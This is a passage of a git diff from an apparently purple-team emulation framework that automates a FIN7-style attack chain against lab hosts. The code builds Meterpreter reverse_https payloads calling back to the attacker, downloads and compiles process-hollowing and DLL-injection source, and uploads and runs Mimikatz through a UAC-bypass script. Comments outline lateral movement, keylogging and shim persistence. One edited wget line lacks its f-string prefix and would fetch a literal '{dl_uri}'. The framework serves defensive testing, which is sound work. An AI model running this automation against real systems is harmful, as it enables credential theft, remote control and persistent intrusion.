1) + do_retry = True + except FileNotFoundError as error: + self.vprint(error, 0) + break + if do_retry: self.disconnect() self.connect() retry -= 1 self.vprint("Got some SSH errors. Retrying", 2) - except FileNotFoundError as error: - self.vprint(error, 0) - break else: break diff --git a/plugins/base/vulnerability_plugin.py b/plugins/base/vulnerability_plugin.py index b05fe38..277cf93 100644 --- a/plugins/base/vulnerability_plugin.py +++ b/plugins/base/vulnerability_plugin.py @@ -21,6 +21,11 @@ class VulnerabilityPlugin(BasePlugin): super().__init__() # pylint:disable=useless-super-delegation self.debugit = False + def prime(self): + """ Early install. Can reboot the machine if it returns True after installation. """ + + return False + def install(self, machine_plugin=None): """ This is setting up everything up to the point where the machine itself would be modified. But system modification is done by start diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 07c67ba..487f9a2 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -4,7 +4,7 @@ from plugins.base.attack import AttackPlugin from app.interface_sfx import CommandlineColors -from app.metasploit import MSFVenom, Metasploit +from app.metasploit import MSFVenom, MetasploitInstant import os import time @@ -32,13 +32,29 @@ class FIN7Plugin(AttackPlugin): if self.metasploit_1: return self.metasploit_1 - self.metasploit_1 = Metasploit(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user) + self.metasploit_1 = MetasploitInstant(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user) self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1) self.metasploit_1.wait_for_session() return self.metasploit_1 def step1(self): self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 1 (target hotelmanager): Initial Breach{CommandlineColors.ENDC}", 1) + + self.attack_logger.start_narration( + "Step 1 (target hotelmanager): Initial Breach\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET + +* RTF with VB payload (needs user interaction) +* playoad executed by mshta +* mshta build js payload +* mshta copies wscript.exe to ADB156.exe +* winword.exe spawns verclsid.exe (a normal tool that can download stuff, no idea yet what it is used for here) +* mshta uses taskschd.dll to create a task in 5 minutes + +This is the initial attack step that requires user interaction. Maybe it is better to reproduce those steps separately. They seem to be quite standard for any Ransomware infection. + +""") # TODOS: No idea if we can replicate that automated as those are manual tasks # RTF with VB payload (needs user interaction) @@ -52,6 +68,19 @@ class FIN7Plugin(AttackPlugin): def step2(self): self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 2 (target hotelmanager): Delayed Malware Execution{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 2 (target hotelmanager): Delayed Malware Execution\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET + +* scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/ +* Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/ +* Adb156.exe connects via MSSQL to attacker server +* WMI quieries for network information and system information https://attack.mitre.org/techniques/T1016/ and https://attack.mitre.org/techniques/T1082/ (Caldera ?) + +In this simulation sql-rat.js communication will be replaced by Caldera communication. + +""") # scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/ # Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/ @@ -63,6 +92,7 @@ class FIN7Plugin(AttackPlugin): def step3(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 3 (target hotelmanager): Target Assessment{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration("Step 3 (target hotelmanager): Target Assessment\n----------------------------") # TODO: Make sure logging is nice and complete @@ -72,16 +102,29 @@ class FIN7Plugin(AttackPlugin): # Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": hotelmanager.get_ip()}) + self.caldera_attack(hotelmanager, + "deeac480-5c2a-42b5-90bb-41675ee53c7e", + parameters={"remote.host.fqdn": hotelmanager.get_ip()}, + tactics="Discovery", + tactics_id="TA0007", + situation_description="The attackers got a bastion system infected and start to evaluate the value of the network") # check for sandbox https://attack.mitre.org/techniques/T1497/ # The documentation does not define how it is checking exactly. self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "5dc841fd-28ad-40e2-b10e-fb007fe09e81") + self.caldera_attack(hotelmanager, + "5dc841fd-28ad-40e2-b10e-fb007fe09e81", + tactics="Defense Evasion", + tactics_id="TA0005", + situation_description="There are many more ways to identify if the attacker is running in a VM. This is just one.") # query username https://attack.mitre.org/techniques/T1033/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596") + self.caldera_attack(hotelmanager, + "c0da588f-79f0-4263-8998-7496b1a40596", + tactics="Discovery", + tactics_id="TA0007" + ) # TODO: query computername https://attack.mitre.org/techniques/T1082/ # self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1) @@ -90,17 +133,27 @@ class FIN7Plugin(AttackPlugin): # TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/ # WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "14a21534-350f-4d83-9dd7-3c56b93a0c17") + self.caldera_attack(hotelmanager, + "14a21534-350f-4d83-9dd7-3c56b93a0c17", + tactics="Discovery", + tactics_id="TA0007") # System Info discovery https://attack.mitre.org/techniques/T1082/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "b6b105b9-41dc-490b-bc5c-80d699b82ce8") + self.caldera_attack(hotelmanager, + "b6b105b9-41dc-490b-bc5c-80d699b82ce8", + tactics="Discovery", + tactics_id="TA0007") # CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "316251ed-6a28-4013-812b-ddf5b5b007f8") + self.caldera_attack(hotelmanager, + "316251ed-6a28-4013-812b-ddf5b5b007f8", + tactics="Collection", + tactics_id="TA0009" + ) # TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/ self.attack_logger.vprint( @@ -125,12 +178,39 @@ class FIN7Plugin(AttackPlugin): # Generate shellcode # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=443 EXITFUNC=thread -f C --encrypt xor --encrypt-key m + + + dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step4/babymetal/babymetal.cpp" + architecture = "x64" + target_platform = "windows" + payload = self.payload_type_1 + lhost = self.attacker_machine_plugin.get_ip() + lport = "443" + filename = "babymetal.dll" + encoding = "base64" + encoded_filename = "babymetal_encoded.txt" + sRDI_conversion = True + for_step = 4 + + logid = self.attack_logger.start_build(dl_uri=dl_uri, + architecture=architecture, + target_platform=target_platform, + payload=payload, + lhost=lhost, + lport=lport, + filename=filename, + encoding=encoding, + encoded_filename=encoded_filename, + sRDI_conversion=sRDI_conversion, + for_step=for_step, + comment="This is the stager uploaded to the target and executed to get the first Meterpreter shell on the target network.") + venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger) - venom.generate_payload(payload=self.payload_type_1, - architecture="x64", - platform="windows", - lhost=self.attacker_machine_plugin.get_ip(), - lport="443", + venom.generate_payload(payload=payload, + architecture=architecture, + platform=target_platform, + lhost=lhost, + lport=lport, exitfunc="thread", format="c", encrypt="xor", @@ -141,7 +221,7 @@ class FIN7Plugin(AttackPlugin): # get C source self.attacker_machine_plugin.remote_run( - "cd tool_factory/step_4; rm babymetal.cpp; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step4/babymetal/babymetal.cpp") + f"cd tool_factory/step_4; rm babymetal.cpp; wget {dl_uri}") # paste shellcode into C source self.attacker_machine_plugin.remote_run( @@ -150,13 +230,15 @@ class FIN7Plugin(AttackPlugin): # Compile to DLL self.attacker_machine_plugin.remote_run("cd tool_factory/step_4; sed -i 's/#include /#include /g' babymetal_patched.cpp") self.attacker_machine_plugin.remote_run( - "cd tool_factory/step_4;x86_64-w64-mingw32-g++ -shared babymetal_patched.cpp -o babymetal.dll") + f"cd tool_factory/step_4;x86_64-w64-mingw32-g++ -shared babymetal_patched.cpp -o {filename}") # sRDI conversion - self.attacker_machine_plugin.remote_run("cd tool_factory/; python3 sRDI/Python/ConvertToShellcode.py -f BabyMetal step_4/babymetal.dll") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/; python3 sRDI/Python/ConvertToShellcode.py -f BabyMetal step_4/{filename}") # base64 conversion - self.attacker_machine_plugin.remote_run("cd tool_factory/step_4; base64 babymetal.bin > babymetal_encoded.txt") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_4; base64 babymetal.bin > {encoded_filename}") + + self.attack_logger.stop_build(logid = logid) self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}Step 4 compiling tools{CommandlineColors.ENDC}", 1) @@ -168,7 +250,15 @@ class FIN7Plugin(AttackPlugin): """ self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 4 (target hotelmanager): Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) - + self.attack_logger.start_narration( + "Step 4 (target hotelmanager): Staging Interactive Toolkit\n----------------------------") + self.attack_logger.start_narration(""" +In the original attack Babymetal payload is a dll. Currently we are using a simplification here (directly calling a exe). The original steps are: +* Target already runs adb156.exe. This one gets the shellcode over the network connection and decodes it. +* adb156.exe executes cmd.exe which executes powershell.exe. It decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/ +* Powershell cmdlet Invoke-Expression executes decoded dll https://attack.mitre.org/techniques/T1140/ +* The script invoke-Shellcode.ps1 loads shellcode into powershell.exe memory (Allocate memory, copy shellcode, start thread) (received from C2 server) https://attack.mitre.org/techniques/T1573/ +""") self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}", 1) @@ -208,6 +298,8 @@ class FIN7Plugin(AttackPlugin): def step5(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 5 (target hotelmanager): Escalate Privileges\n----------------------------") hotelmanager = self.get_target_by_name("hotelmanager") @@ -216,18 +308,27 @@ class FIN7Plugin(AttackPlugin): # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager)) + print(metasploit.ps_process_discovery(hotelmanager, + situation_description="The processes found here are not directly used (terminated, infected, ...). This is just a basic discovery step.", + countermeasures="None possible. This is a very standard behaviour. Could be interesting after some data on process behaviour got aggregated as additional info snippet.") + ) # powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) + # print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) + print(metasploit.arp_network_discovery(hotelmanager, + situation_description="Ready for first network enumeration", + countermeasure="Maybe detect direct arp access. Should be uncommon for normal tools.")) + # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ # TODO: Add a new machine in config as ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error - itadmin = self.get_target_by_name("itadmin").get_ip() + itadmin = self.get_target_by_name("itadmin") self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) - cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'" - print(metasploit.meterpreter_execute_on([cmd], hotelmanager)) + # cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'" + # print(metasploit.meterpreter_execute_on([cmd], hotelmanager)) + print(metasploit.nslookup(hotelmanager, itadmin, + situation_description="Looking up info on the next target, the machine itadmin")) # Copy step 5 attack tools to attacker @@ -239,26 +340,51 @@ class FIN7Plugin(AttackPlugin): self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe") self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1") print(metasploit.meterpreter_execute_on(["ls"], hotelmanager, delay=10)) - cmd = "upload samcat.exe 'samcat.exe' " + # cmd = "upload boring_test_file.txt 'samcat.exe' " - print(cmd) + self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) - - cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " + # cmd = "upload samcat.exe 'samcat.exe' " + # print(cmd) + # print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + print(metasploit.upload(hotelmanager, "samcat.exe", "samcat.exe", + situation_description="Uploading Mimikatz", + countermeasure="File detection")) + + # cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " # cmd = "upload boring_test_file.txt 'samcat.exe' " - print(cmd) + # print(cmd) self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + # print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + print(metasploit.upload(hotelmanager, "uac-samcats.ps1", "uac-samcats.ps1", + delay=10, + situation_description="Uploading UAC bypass powershell script. This one will execute Mimikatz", + countermeasure="File detection")) # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'" print(execute_samcats) self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1) + logid = self.attack_logger.start_metasploit_attack(source=self.attacker_machine_plugin.get_ip(), + target=hotelmanager.get_ip(), + metasploit_command=execute_samcats, + ttp="T1003", + name="execute_mimikatz", + description="Execute Mimikatz to access OS credentials", + tactics="Credential Access", + tactics_id="TA0006", + situation_description="Executing Mimikatz through UAC bypassing powershell", + countermeasure="Behaviour detection" + ) print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20)) + self.attack_logger.stop_metasploit_attack(source=self.attacker_machine_plugin.get_ip(), + target=hotelmanager.get_ip(), + metasploit_command=execute_samcats, + ttp="T1003", + logid=logid) # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/ @@ -284,14 +410,33 @@ class FIN7Plugin(AttackPlugin): # --encrypt xor : xor encrypt the results # --encrypt-key m : the encryption key + dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step6/Hollow/ProcessHollowing.c" + payload = self.payload_type_1 + architecture = "x64" + target_platform = "windows" + lhost = self.attacker_machine_plugin.get_ip() + lport = "443" + filename = "hollow.exe" + for_step = 6 + + logid = self.attack_logger.start_build(dl_uri=dl_uri, + architecture=architecture, + target_platform=target_platform, + payload=payload, + lhost=lhost, + lport=lport, + filename=filename, + for_step=for_step, + comment="This will be copied using paexec to the it admin host. It will spawn svchost.exe there and create a first Meterpreter shell on this PC.") + # Generate shellcode # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=443 -f exe -o msf.exe venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger) - venom.generate_payload(payload=self.payload_type_1, - architecture="x64", - platform="windows", - lhost=self.attacker_machine_plugin.get_ip(), - lport="443", + venom.generate_payload(payload=payload, + architecture=architecture, + platform=target_platform, + lhost=lhost, + lport=lport, format="exe", outfile="msf.executable") @@ -302,7 +447,7 @@ class FIN7Plugin(AttackPlugin): # Get ProcessHollowing.c self.attacker_machine_plugin.remote_run( - "cd tool_factory/step_6; rm ProcessHollowing.c; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step6/Hollow/ProcessHollowing.c") + f"cd tool_factory/step_6; rm ProcessHollowing.c; wget {dl_uri}") self.attacker_machine_plugin.remote_run( "cd tool_factory/step_6; sed -i 's/#include /#include /g' ProcessHollowing.c") @@ -317,7 +462,9 @@ class FIN7Plugin(AttackPlugin): # Compiled for 64 bit. self.attacker_machine_plugin.remote_run("cd tool_factory/step_6; rm hollow.exe;") - self.attacker_machine_plugin.remote_run("cd tool_factory/step_6; x86_64-w64-mingw32-gcc -municode -D UNICODE -D _UNICODE ProcessHollowing.c -L/usr/x86_64-w64-mingw32/lib/ -l:libntdll.a -o hollow.exe") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_6; x86_64-w64-mingw32-gcc -municode -D UNICODE -D _UNICODE ProcessHollowing.c -L/usr/x86_64-w64-mingw32/lib/ -l:libntdll.a -o {filename}") + + self.attack_logger.stop_build(logid=logid) self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}Step 6 compiling tools{CommandlineColors.ENDC}", 1) @@ -325,7 +472,19 @@ class FIN7Plugin(AttackPlugin): def step6(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 6 (target hotelmanager -> itadmin): Expand Access{CommandlineColors.ENDC}", 1) - + self.attack_logger.start_narration( + "Step 6 (target hotelmanager and itadmin): Expand Access\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET. NEEDS A SECOND MACHINE FOR LATERAL MOVEMENT +* powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ +* spawn powershell through cmd +* We move to the itadmin host: Use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ +* paexec starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ +* https://www.poweradmin.com/paexec/ +* => Lateral move to itadmin +* hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/ +* svchost starts data exchange + """) # This is meterpreter ! # powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ @@ -375,6 +534,21 @@ class FIN7Plugin(AttackPlugin): def step7(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 7 on itadmin: Setup User Monitoring{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 7 (target itadmin): Setup User Monitoring\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET. A REPLACEMENT FOR THE ALOHA COMMAND CENTER IS NEEDED + +* Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly +* BOOSTWRITE does DLL Hijack within a propriteary piece of software (Aloha Command Center) +* This is meterpreter ! +* Emulating DLL hijacking functionality of BOOSTWRITE +* Create BOOSTWRITE meterpreter handler +* Create temporary HTTP server serving "B" as XOR Key +* hollow.exe meterpreter session dowloads BOOSTWRITE.dll to srrstr.dll https://attack.mitre.org/techniques/T1105/ +* cmd.exe spawns svchost.exe -> executes SystemPropertiesAdvanced.exe which executes srrstr.dll +* srrstr.dll spawns rundll32.exe which communicates to metasploit. New shell ! +""") # Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly # BOOSTWRITE does DLL Hijack within a propriteary piece of software (Aloha Command Center) @@ -396,6 +570,18 @@ class FIN7Plugin(AttackPlugin): def step8(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 8 (target: itadmin as domain_admin): User Monitoring{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 8 (target itadmin): User Monitoring\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET. MAYBE DO THIS PARTIAL. KEYLOGGING NEEDS USER INTERACTION. +(Screen spying and keylogging are already implemented as standalone metasploit attacks. Use them) + +* Meterpreter migrates to explorer.exe (from svchost) https://attack.mitre.org/techniques/T1055/ +* screenspy for screen capture https://attack.mitre.org/techniques/T1113/ +* migrate session to mstsc.exe https://attack.mitre.org/techniques/T1056/001/ +* deploy keylogger https://attack.mitre.org/techniques/T1056/001/ +* create a RDP session from itadmin -> accounting using stolen credentials +""") # This is meterpreter ! @@ -405,6 +591,8 @@ class FIN7Plugin(AttackPlugin): # deploy keylogger https://attack.mitre.org/techniques/T1056/001/ # create a RDP session from itadmin -> accounting using stolen credentials + # TODO: Screen spying and keylogging are already implemented as standalone metasploit attacks. Use them + self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 8: User Monitoring{CommandlineColors.ENDC}", 1) @@ -417,13 +605,34 @@ class FIN7Plugin(AttackPlugin): accounting = self.get_target_by_name("accounting") self.attacker_machine_plugin.remote_run("mkdir tool_factory/step_9") + payload = "windows/meterpreter/reverse_https" + filename = "dll329.dll" + for_step = 9 + architecture = "x86" + target_platform = "windows" + lhost = self.attacker_machine_plugin.get_ip() + lport = "53" + sRDI_conversion = True + encoded_filename = "bin329.tmp" + + logid = self.attack_logger.start_build(architecture=architecture, + target_platform=target_platform, + payload=payload, + lhost=lhost, + lport=lport, + filename=filename, + for_step=for_step, + sRDI_conversion= sRDI_conversion, + encoded_filename=encoded_filename, + comment="And SRDI converted Meterpreter shell. Will be stored in the registry.") + # msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=53 -f dll -o payload.dll venom = MSFVenom(self.attacker_machine_plugin, accounting, self.attack_logger) - venom.generate_payload(payload="windows/meterpreter/reverse_https", - architecture="x86", - platform="windows", - lhost=self.attacker_machine_plugin.get_ip(), - lport="53", + venom.generate_payload(payload=payload, + architecture=architecture, + platform=target_platform, + lhost=lhost, + lport=lport, format="dll", outfile="payload.dll") @@ -432,35 +641,65 @@ class FIN7Plugin(AttackPlugin): self.attacker_machine_plugin.remote_run("cd tool_factory/; python3 sRDI/Python/ConvertToShellcode.py step_9/payload.dll") # mv payload.bin bin329.tmp - self.attacker_machine_plugin.remote_run("cp tool_factory/step_9/payload.bin tool_factory/step_9/bin329.tmp") + self.attacker_machine_plugin.remote_run(f"cp tool_factory/step_9/payload.bin tool_factory/step_9/{encoded_filename}") # This will be stored in the registry + self.attack_logger.stop_build(logid=logid) # ## DLL 329 # Build https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/fin7/Resources/Step9/InjectDLL-Shim + + dl_uris = ["https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/dllmain.cpp", + "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/pe.cpp", + "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/pe.h"] + filename = "dll329.dll" + for_step = 9 + logid = self.attack_logger.start_build(dl_uris=dl_uris, + filename=filename, + for_step=for_step, + comment="Will be injected into the AccoutingIQ executable.") + self.attacker_machine_plugin.remote_run( "cd tool_factory/step_9; rm dllmain.cpp") - self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/dllmain.cpp") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; wget {dl_uris[0]}") self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; rm pe.cpp;") - self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/pe.cpp") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; wget {dl_uris[1]}") self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; rm pe.h;") - self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/pe.h") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; wget {dl_uris[2]}") # Compiling dll 329 - self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; rm dll329.dll;") - self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; i686-w64-mingw32-g++ -m32 -shared -municode -D UNICODE -D _UNICODE -fpermissive dllmain.cpp pe.cpp -L/usr/i686-w64-mingw32/lib/ -l:libntoskrnl.a -l:libntdll.a -o dll329.dll") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; rm {filename};") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; i686-w64-mingw32-g++ -m32 -shared -municode -D UNICODE -D _UNICODE -fpermissive dllmain.cpp pe.cpp -L/usr/i686-w64-mingw32/lib/ -l:libntoskrnl.a -l:libntdll.a -o {filename}") + self.attack_logger.stop_build(logid=logid) # ## sdbE376.tmp + dl_uri = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/fin7/Resources/Step9/sdbE376.tmp" + filename = "sdbE376.tmp" + logid = self.attack_logger.start_build(dl_uri=dl_uri, + filename=filename, + for_step=9, + comment="An SDB Shim database file. Will be installed for application shimming.") # Just download https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/fin7/Resources/Step9/sdbE376.tmp - self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; rm sdbE376.tmp") - self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; wget https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/fin7/Resources/Step9/sdbE376.tmp") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; rm {filename}") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; wget {dl_uri}") + + self.attack_logger.stop_build(logid=logid) self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Step 9 compiling tools{CommandlineColors.ENDC}", 1) def step9(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 9 (target: accounting): Setup Shim Persistence{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 9 (target accounting): Setup Shim Persistence\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET + +* powershell.exe executes base64 encoded commands (Caldera ?) +* Downloads dll329.dll and sdbE376 +* persistence: sdbinst.exe installs sdbE376.tmp for application shimming https://attack.mitre.org/techniques/T1546/011/ +""") # This is meterpreter ! @@ -480,6 +719,8 @@ class FIN7Plugin(AttackPlugin): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 10 compiling tools{CommandlineColors.ENDC}", 1) + accounting = self.get_target_by_name("accounting") + # Compiling # i686-w64-mingw32-gcc is for 32 bit @@ -487,33 +728,50 @@ class FIN7Plugin(AttackPlugin): # Important: pillowMint is not very complex and looks for the data at a fixed address. As we a re-compiling AccountIQ.exe and the data address does not match the expected one we will just get garbage. + filename = "AccountingIQ.exe" + dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/AccountingIQ.c" + logid = self.attack_logger.start_build( + filename=filename, + for_step=10, + dl_uri=dl_uri, + comment="This is a simulated credit card tool to target. The final flag is in here.") # simulated credit card tool as target self.attacker_machine_plugin.remote_run("mkdir tool_factory/step_10") # MSFVenom needs to be installed - self.attacker_machine_plugin.remote_run("cd tool_factory/step_10; rm AccountingIQ.exe") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_10; rm {filename}") self.attacker_machine_plugin.remote_run( - "cd tool_factory/step_10; rm AccountingIQ.c; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/AccountingIQ.c") + "cd tool_factory/step_10; rm AccountingIQ.c; wget {dl_uri}") self.attacker_machine_plugin.remote_run( - "cd tool_factory/step_10; i686-w64-mingw32-gcc -m32 -L/usr/i686-w64-mingw32/lib -I/usr/i686-w64-mingw32/include AccountingIQ.c -o AccountingIQ.exe") + f"cd tool_factory/step_10; i686-w64-mingw32-gcc -m32 -L/usr/i686-w64-mingw32/lib -I/usr/i686-w64-mingw32/include AccountingIQ.c -o {filename}") - self.attacker_machine_plugin.get("tool_factory/step_10/AccountingIQ.exe", + self.attacker_machine_plugin.get(f"tool_factory/step_10/{filename}", os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", - "AccountingIQ.exe")) + filename)) + accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", filename), + filename) + + self.attack_logger.stop_build(logid=logid) # 